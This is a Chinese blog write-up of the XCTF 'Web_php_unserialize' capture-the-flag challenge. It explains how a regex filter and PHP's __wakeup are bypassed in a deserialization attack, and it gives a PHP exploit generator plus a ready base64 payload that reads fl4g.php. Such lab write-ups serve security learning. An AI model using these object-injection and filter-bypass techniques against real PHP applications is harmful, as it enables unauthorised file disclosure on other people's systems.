攻防世界 Web_php_unserialize

先简单看一下php代码。

 发现关键点,flag应该就在这里(fl4g.php)

所以我们可以修改类里面file变量的值。

然后利用这个语句把flag内容显示出来。

 

但是要先解决base64解密,再绕过正则和wakeup魔术方法。

 ---

 

 

 ---

  1. 解决base64解密

很简单,对我们输入的序列化字符串base64加密一下就好了。

  1. 绕过正则

/[oc]:\d+:/i。意思是过滤这两种情况:o:数字:与c:数字:这种情况是用+(加号)绕过的,如:o:+

  1. 绕过wakeup魔术方法:

只存在于版本:PHP5 < 5.6.25、PHP7 < 7.0.10
在进行unserialize的时候,首先查看有无该函数有的话
就会先执行他。
一个字符串或对象被序列化后,如果其属性被修改,则不会执行__wakeup()函数。
绕过方式:
当序列化字符串中属性值个数大于属性个数,就会导致反序列化异常,从而跳过__wakeup()。
例如:O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"daye";}中将变量个数2(s:3:"age";表示第一个变量的名字,i:20;表示第一个变量的值,因此像这种东西,都是成对出现的,几对就有几个变量)修改为3即可。

开始解题

构造exp

<?php

class Demo {

    private $file = 'fl4g.php';

}

$j17 = new Demo();

$a = serialize($j17);

$a = str_replace('O:4', 'O:+4',$a);

$a = str_replace(':1:', ':2:',$a);

echo $a;

echo base64_encode($a);

//echo urlencode($a)

?>

 

 

注意一下:private序列化之后会在变量名前加上\x00类名\x00,输出时一般需要url编码,若在本地存储更推荐采用base64编码的形式。这里可以直接在程序里面base64编码。

Payload:

?var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Jay 17

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值